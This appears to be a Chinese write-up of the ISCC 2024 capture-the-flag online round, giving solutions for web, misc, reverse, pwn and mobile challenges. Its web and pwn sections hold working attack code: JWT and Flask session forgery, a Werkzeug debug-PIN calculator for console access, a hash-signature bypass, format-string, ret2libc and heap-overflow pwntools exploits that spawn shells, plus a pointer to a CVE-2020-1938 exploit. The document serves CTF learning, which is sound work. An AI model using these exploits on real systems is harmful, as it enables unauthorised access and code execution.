ISCC线上赛2024
练武题
web
还没想好名字的塔防游戏
f12查看源码,world.js,查看提示
Bears Brew Storms
Opal Oceans Glow
Elves Whisper Wonders
网站首页看到
Mystic Defense War: The Secret of Guardian Towers and Magical Monsters
去掉小写o与a首字母组合刚好18位
Flask中的pin值计算
解码得到/getusername
访问
再次输入提示
访问路由,app
一秒内计算数学,写脚本
import requests
url1='http://101.200.138.180:10006/crawler?answer='
url2='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url2)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result1 = eval(math1)
result1=str(result1)
result2=s.get(url1+result1)
print(result2.text)
访问路由,解码
{"alg":"HS256","typ":"JWT"}{"name":"donate","quantity":1}
看源码部分,获取功德代码是这段,
.then(data => {
document.querySelector('h1').textContent = '当前功德:' + data.gongde;
document.querySelectorAll('h1')[1].textContent = data.message;
<p style="display: none;">ISCC_muyu_2024</p>
将donate->gongde,quantity拉大,盲猜hash256是ISCC_muyu_2024构造jwt
敲木鱼抓包更换jwt,给出地址:02:42:ac:18:00:02提示/machine_id
点击vip拿到新的jwt
{
"exp": 1714973848,
"iat": 1714970248,
"jti": "slBj9vxEIRLuzzXLPqu0AA",
"nbf": 1714970248,
"role": "member",
"username": "ISCCmember"
}
需要role改为supervip,脚本构造
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "vip"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ5NzQ1MTMsImlhdCI6MTcxNDk3MDkxMywianRpIjoiN3hjY05VNWZicF9iMUh6a3BRMWhldyIsIm5iZiI6MTcxNDk3MDkxMywicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.nvxihIURp-b8zrgZRzdXmM0U4ERy_8TKYRkxGYq7sUemVulia9Ssh6ojLtJyW-ZVjK4G6-HYhfgvyP1Fcq90uGu51YDDgRNJi4h0ajuraTHCBWn0h91WAnC_YAtCnitVDBOY8j1eB_i1WdIbS2o-jiM0prPYMROzPqv8FVTUCss3QsG4MN9H3LqfvHdvlejIJLAxpeyIdbDudwKZ2cLCfxvfo4mI7sffqLUyj86FdlsANR7aaMue5OZIg4bpizagawAFCpUKKjwL3uqghUShiVhPUz2oE4XNoFvSH9Dl0S7qhd3Phukc9tRuIFhLRGn-_FLN8jkiJTcVXZXEKSUuEw'))
bp传参,显示welcome_to_iscc_club,应该是supervip
的key
使用flask_session_cookie_manager3.py伪造jwt
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
eyJyb2xlIjoic3VwZXJ2aXAifQ.Zjhihg.4pLyp5XEkqZlgXxoktSOYqyKWik
bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,应该就是machine-id
pin脚本
import hashlib
from itertools import chain
probably_public_bits = [
'pincalculate',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'1941888917899902',# str(uuid.getnode()), /sys/class/net/ens33/address
'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
运行使用payload:http://101.200.138.180:10006/console?pin=947-885-653
代码审计
题目
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import hashlib
import urllib.parse
import os
import json
app = Flask(__name__)
#随机16位
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
self.append_to_file(resp) # 追加内容到已存在的文件
result['code'] = 200
if "read" in self.action:
result['code'] = 200
result['data'] = self.read_from_file() # 从已存在的文件中读取
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if get_sign(self.action, self.param) == self.sign:
return True
else:
return False
#调用了get_sign,
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.parse.unquote(request.args.get("param", ""))
action = "read"
print(request.args.get("param", ""))
return get_sign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
print(request.cookies.get("action"))
print(request.args.get("param", ""))
print(request.cookies.get("sign"))
action = urllib.parse.unquote(request.cookies.get("action"))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
def scan(param):
try:
with open(param, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return "The file does not exist"
def md5(content):
return hashlib.md5(content.encode()).hexdigest()
def get_sign(action, param):
return hashlib.md5(secret_key + param.encode('latin1') +
action.encode('latin1')).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run()
访问geneSign得到签名hash
由随机的密钥+提交的参数+一个动作 (key+param+action) 这里动作默认为scan。
访问De1ta,由cookies和提交的参数,会去执行Task类的Exec方法。 Exec方法里会根据提交的参数去生成签名Hash,去checkSign。 当签名验证成功后,去根据动作去追加文件,去读取文件。
根据上面和题目提示已经知道了要读取flag.txt。 所以必须过checkSign方法。 所以路由De1ta生成的签名和路由geneSign的签名必须一样。 2次提交中,key是随机生成的,是一样的,不用变。 param是人工手动提交的。 路由geneSign的action是默认的scan。 所以第一次路由geneSignparam提交: flag.txtread 此时生成的hash为: hasH(随机的Key+flag.txtread+"scan") 请求包
GET /geneSign?param=flag.txtread HTTP/1.1
Host: 101.200.138.180:12315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
响应包
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.12.3
Date: Fri, 10 May 2024 05:16:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32
Connection: close
19528176342cf0870f5327eca3e88776
第二次路由De1ta提交flag.txt cookies里面附上hash,和action readscan 第二次生成的Hash hasH(随机的Key+flag.txt+"readscan")
请求包
GET /De1ta?param=flag.txt HTTP/1.1 Host: 101.200.138.180:12315 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: sign=19528176342cf0870f5327eca3e88776; action=readscan Accept-Language: zh-CN,zh;q=0.9 Connection: close
响应包
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.12.3
Date: Fri, 10 May 2024 05:17:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 47
Connection: close
{"code": 200, "data": "ISCC{dhc7LLugXaz*ezt1}"}
原神启动
直接cve-2020-1938打
源码
CVE-2020-1938/CVE-2020-1938.py at master · xindongzhuaizhuai/CVE-2020-1938 (github.com)
misc
RSA_KU
题目
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441
#(p-2)*(q-1) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
#(p-1)*(q-2) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458
直接写脚本
import gmpy2
from Crypto.Util.number import *
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441
n1 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834 # (p-2)*(q-1)
n2 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458 # (p-1)*(q-2)
ppq = (n - n1 + n - n2 + 4) // 3 # p+q
'''n-(p-2)*(q-1)=pq-(pq-p-2q+2)=p+2q-2 ①
n-(p-1)*(q-2)=pq-(pq-2p-q+2)=2p+q-2 ②
①+②:n-(p-2)*(q-1)+n-(p-1)*(q-2)=3*(p+q)-4
p+q=(n-(p-2)*(q-1)+n-(p-1)*(q-2)+4)/3'''
phi = n - ppq + 1 # phi=(p-1)*(q-1)=pq-(p+q)+1
d = gmpy2.invert(e, phi)
flag = long_to_bytes((pow(c, d, n)))
print(flag)
工业互联网模拟仿真数据分析
题目一:ip长度固定的只有1.2-1.4
192.168.1.2,192.168.1.4
题目二:
tshark -r 工业互联网模拟仿真数据.pcap -T fields -e data.data -Y "data.len==12"
明显确定字段就是2024
题目三:
192.168.1.3-192.168.1.5时间大致相同
文末第五组时间间隔是固定的0.6
题目四:
192.168.1.3,192.168.1.2,192.168.1.6
题目五:
五个字符校验算法,假设CRC16,CRC32
倒数位必为1 尝试CRC16CRC32并尝试0-10为起始位
为CRC16,4,1时成功提交
adcca5c2a82064a17a645d35b6b054cd
Number_is_the_key
修改后缀zip
解压后在worksheets运行脚本
import xmltodict
import json
def xml_to_json(xml_string):
xml_dict = xmltodict.parse(xml_string)
json_data = json.dumps(xml_dict, indent=4)
return json_data
f = open("sheet1.xml", mode="r").read()
json_content = xml_to_json(f)
json_content = json.loads(json_content)
data = json_content["worksheet"]["sheetData"]["row"]
t = []
for num in range(len(data)):
for d in data[num]["c"]:
t.append(d["@r"])
from openpyxl import Workbook
from openpyxl.styles import PatternFill
wb = Workbook()
ws = wb.active
for d in t:
cell_to_fill = ws[d]
fill = PatternFill(start_color='00FF00', end_color='FFFFFF', fill_type='solid')
cell_to_fill.fill = fill
wb.save("1.xlsx")
得到1.xlsx,调整行高与行列扫码
FunZip
下载附件,使用puzz工具解码
精装四合一
四个图片中每个图片的文件尾部都带着一串数据,我们看到这些数据都异或0xff都会是一个zip文件的一 部分,那么写个脚本将这四个文件的文件尾提取出来再进行异或0xff,然后再拼接,会得到一个zip
def trim_and_xor_with_ff(input_filename, output_filename, target_hex):
# 将16进制字符串转换为字节
target_bytes = bytes.fromhex(target_hex.replace(' ', ''))
# 初始化一个标志位,表示是否已经找到目标字节序列
found_target = False
with open(input_filename, 'rb') as infile, open(output_filename, 'wb') as outfile:
# 读取文件的字节
while True:
chunk = infile.read(4096) # 一次读取4096字节
if not chunk:
break # 如果文件读取完毕,则退出循环
# 检查目标字节序列是否在块中
index = chunk.find(target_bytes)
if index != -1:
# 如果找到,则只处理目标字节序列之后的部分
if not found_target:
# 跳过包含目标字节序列的块中目标之前的部分
chunk = chunk[index + len(target_bytes):]
found_target = True
# 对剩余部分进行异或操作
xor_chunk = bytes([b ^ 0xFF for b in chunk])
outfile.write(xor_chunk)
elif found_target:
# 如果已经找到目标字节序列,则直接对整个块进行异或操作
xor_chunk = bytes([b ^ 0xFF for b in chunk])
outfile.write(xor_chunk)
# 如果尚未找到目标字节序列,则不处理该块(因为我们只关心目标之后的数据)
# 使用函数
input_filename = 'left_hand_invert.png' # 输入文件名
output_filename = '2' # 输出文件名
target_hex = 'AE426082' # 要查找的16进制字符串
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'left_foot_invert.png' # 输入文件名
output_filename = '1' # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'right_hand_invert.png' # 输入文件名
output_filename = '4' # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'right_foot_invert.png' # 输入文件名
output_filename = '3' # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
#文件拼接
f1=open('1','rb')
f2=open('2','rb')
f3=open('3','rb')
f4=open('4','rb')
f5=open('1.zip','wb')
for i in range(3176):
f5.write(f1.read(1))
f5.write(f2.read(1))
f5.write(f3.read(1))
f5.write(f4.read(1))
f5.write(f1.read(1))
zip爆破密码是65537,这是个e值
ctrl+a全选,字体,取消隐藏
16920251144570812336430166924811515273080382783829495988294341496740639931651
检查文件头word也是zip
看到trueflag
010打开,是16进制
rsa脚本
import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import binascii
e = 65537
c = 0x1cb2d409f66fa525fe6a300cca1e81fc4edf1f2aa2a70283a48d0840e6333864
#1.将n分解为p和q
p = 100882503720822822072470797230485840381
q = 167722355418488286110758738271573756671
n = p*q
phi = (p-1)*(q-1)
#2.求d
d = gmpy2.invert(e,phi)
#3.m=pow(c,d,n)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
reverse
迷失之门
无壳
脚本
import re
def find_sequence_and_concatenate(file_path):
pattern = b'\x0F\xB6\x00\x3C(.)'
with open(file_path, 'rb') as file:
data = file.read()
matches = re.findall(pattern, data)
result = ''.join([match.decode('latin1') for match in matches])
return result
file_path = 'ez.exe'
result = find_sequence_and_concatenate(file_path)
print(result)
enc = bytes(result, encoding='UTF-8')
key = [i for i in b"DABBZXQESVFRWNGTHYJUMKIOLPC"]
# print([i + 51 for i in key])
index = []
for i in enc:
i_char = chr(i)
if i_char in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
index.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(i_char))
elif i_char in "abcdefghijklmnopqrstuvwxyz":
index.append("abcdefghijklmnopqrstuvwxyz".index(i_char) + 26)
elif i_char in "0123456789+/-=!#&*()?;:*^%":
index.append("0123456789+/-=!#&*()?;:*^%".index(i_char) + 52)
else:
print("wrong")
# print(index)
for i in range(len(index)):
print(chr((key[i] + index[i])), end='')
DLLCode
首先拿到赛题,我们先分析一下,这里有一个.dll文件一看就是需要运行时可能需要的。 32bit,无壳
直接看main()函数:
C++写的需要规整一下格式,分析后,拿到思路: 首先输入一个字符串(flag)--->进行编码--->进行了一个加密操作--->比较输出结果。 接下来看一下加密的部分: sub_4014D0(v30, v33);
这个就是重新进行索引。 到后面可以发现这里重新索引后就是输入的后半部分。 前部分进行了异或,异或的值为“ISCC” 拿到比较的值:v8
s = [0,16,56,21,10,61,113,43,11,0,20,3,67,89,83,89,70,84,64,103,116,125,117,98]
s1 = s[:12]
v7 = s[12:]
v4 = [2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9]
s2 = [0] * 12
for i in range(len(s2)):
s2[i] = v7[v4[i]]
key = "ISCC"
for i in range(len(s1)):
s1[i] ^= ord(key[i % len(key)])
result = ""
for i in range(len(s1)):
result += chr(s1[i]) + chr(s2[i])
print(result)
pwn
chaos
跑一下,看出是个堆
gets存在溢出风险
先用1分配地址,5释放内存块,ptr变悬挂指针,2对buf[0]释放,5构造数据满足strncmp
运行
1
64
asd
5
64
asf
2
0
5
64
FlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlag
ls拿到flag
easyshell
看main函数
check
from pwn import *
context(log_level='DEBUG')
p = remote('182.92.237.102', 10011)
p.recvuntil(b"shell")
payload = b'flagis %15$p.%17$p'
p.sendline(payload)
s = p.recvuntil(b'flag')
# 获取canary和piebase
canary,main152 = s[3:].split(b' ')[0].split(b'.')
piebase = int(main152,16)-0xfe-0x1422
canary = int(canary,16)
success("canary: "+hex(canary)+"\npiebase:"+hex(piebase))
# 计算backdoor函数地址,+5为了跳过push
backdoor_addr = piebase+0x1289+5
payload = b'a'*(0x40-8)+p64(canary)+b'\0'*8+p64(backdoor_addr)
p.sendline(payload)
p.recvuntil(b'"help"')
p.sendline(b'exit')
p.interactive()
Flag
checksec分析
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')
#io = process('./attachment-12')
io = remote('182.92.237.102',10012)
io.recvuntil("what's the content?")
payload = '%p-'*18 + 'aaaa%p'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('aaaa')
canary = int(io.recv(10),16)
success('canary---->'+hex(canary))
io.recvuntil('Input:\n')
puts_plt = 0x08049130
puts_got = 0x804C01C
pop_ebx = 0x08049022
ret = 0x0804900e
#gdb.attach(io)
back = 0x0804931B
main = 0x80494C2
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 +p32(puts_plt) + p32(back) + p32(puts_got)
io.send(payload)
puts = u32(io.recv(4))
success('puts---->'+hex(puts))
pause()
system = puts - 0x06d1e0 + 0x041360
binsh = puts - 0x06d1e0 + 0x18c363
io.recvuntil('Input:\n')
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 + p32(system) + p32(0) + p32(binsh)
#gdb.attach(io)
io.send(payload)
io.interactive()
shopping
查看保护
利用线程,堆溢出,没有free函数,有system函数,bss段上有函数指针。申请堆块把mmap的 内存分配完,使线程arena重新分配到高地址,之后利用堆溢出覆盖arena,伪造一个 fastbin 到 bss 段附近。之后申请fastbin并改bss上的write为system
from pwn import *
path = "./attachment-11"
sh = remote('182.92.237.102',10019)
elf = ELF(path)
system_plt = elf.plt['system']
sh.sendlineafter('Enter the password:', "I'm ready for shopping")
def add(size, n, content=''):
sh.sendlineafter(b'Action:', '1')
sh.sendlineafter(b'Item ID:', str(size))
sh.sendlineafter(b'Quantity:', str(n))
if content == '':
sh.sendlineafter(b'Add gift message? (0/1):', '0')
else:
sh.sendlineafter(b'Add gift message? (0/1):', '1')
sh.sendafter(b'Message: ', content)
for i in range(12):
add(0x4000, 1000)
add(0x4000, 262, '0' * 0x3FF0)
# 溢出,修改thread_arena,将bss上的fake_chunk接到fastbin 里
payload = b'1' * 0x50 + p32(0) + p32(3) + 10 * p64(0x60201d)
sleep(0.2)
sh.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)
sh.interactive()
mobile
Puzzle_Game
打开逆向软件分析
脚本
import java.nio.charset.StandardCharsets; import java.util.Base64;
import java.util.Random;
public class Test {
private static String combineStrings(String arg1, String arg2) { return arg1 + arg2;
}
private static byte[] customEncrypt(byte[] arg4, byte[] arg5) { byte[] v0 = new byte[arg4.length];
int v1;
for(v1 = 0; v1 < arg4.length; ++v1) {
v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]);
}
return v0;
}
public static String encrypt(String arg3, String arg4) { byte[] v0 = generateSalt(16);
byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0);
byte[] v4 = new byte[v0.length + v3.length];
System.arraycopy(v0, 0, v4, 0, v0.length); System.arraycopy(v3, 0, v4, v0.length, v3.length); return Base64.getEncoder().encodeToString(v4);
}
public static String encrypt2(String arg3) {
byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); int v0 = 0;
int v1;
for(v1 = 0; v1 < v3.length; ++v1) {
v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100);
}
byte[] v1_1 = new byte[v3.length]; while(v0 < v3.length) {
v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA);
++v0;
}
return Base64.getEncoder().encodeToString(v1_1);
}
private static byte[] generateSalt(int i) { byte[] bArr = new byte[i];
new Random(2983L).nextBytes(bArr); return bArr;
}
public static void main(String[] args) { System.out.println("ISCC{"+encrypt2(encrypt("04999999",
"gwC9nOCNUhsHqZm")).substring(0, 32)+"}");
}
}
擂台题
misc
重“隐”
使用puzz查看图片,压缩包
foremost分离压缩包
解压需要密码,先看音频文件
解码
827342312231334132->九宫格->urhdbdfge
输入00001303.zip密码
解码得到前半部分flag
Deepsound打开音频需要密码
使用deepsound2john.py脚本获取密码hash值,并使用kali的john爆破工具
#! python3
import logging
import os
import sys
import textwrap
def decode_data_low(buf):
return buf[::2]
def decode_data_normal(buf):
out = bytearray()
for i in range(0, len(buf), 4):
out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
return out
def decode_data_high(buf):
out = bytearray()
for i in range(0, len(buf), 8):
out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \
| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
return out
def is_magic(buf):
# This is a more efficient way of testing for the `DSCF` magic header without
# decoding the whole buffer
return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \
and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \
and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
def is_wave(buf):
return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
def process_deepsound_file(f):
bname = os.path.basename(f.name)
logger = logging.getLogger(bname)
# Check if it's a .wav file
buf = f.read(12)
if not is_wave(buf):
global convert_warn
logger.error('file not in .wav format')
convert_warn = True
return
f.seek(0, os.SEEK_SET)
# Scan for the marker...
hdrsz = 104
hdr = None
while True:
off = f.tell()
buf = f.read(hdrsz)
if len(buf) < hdrsz: break
if is_magic(buf):
hdr = decode_data_normal(buf)
logger.info('found DeepSound header at offset %i', off)
break
f.seek(-hdrsz + 1, os.SEEK_CUR)
if hdr is None:
logger.warn('does not appear to be a DeepSound file')
return
# Check some header fields
mode = hdr[4]
encrypted = hdr[5]
modes = {2: 'low', 4: 'normal', 8: 'high'}
if mode in modes:
logger.info('data is encoded in %s-quality mode', modes[mode])
else:
logger.error('unexpected data encoding mode %i', modes[mode])
return
if encrypted == 0:
logger.warn('file is not encrypted')
return
elif encrypted != 1:
logger.error('unexpected encryption flag %i', encrypted)
return
sha1 = hdr[6:6+20]
print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('files', nargs='+', metavar='file',
type=argparse.FileType('rb', bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent.rstrip(), file=sys.stderr)
得到密码teenager,打开得到message.txt
打开使用文字盲水印解密
3HodAcpU52ryNLs4f7xBMqmjA
base解密求出后半段flag
标签:return,key,上赛,2024,cookie,ISCC,import,data,payload From: https://www.cnblogs.com/guangen/p/18192284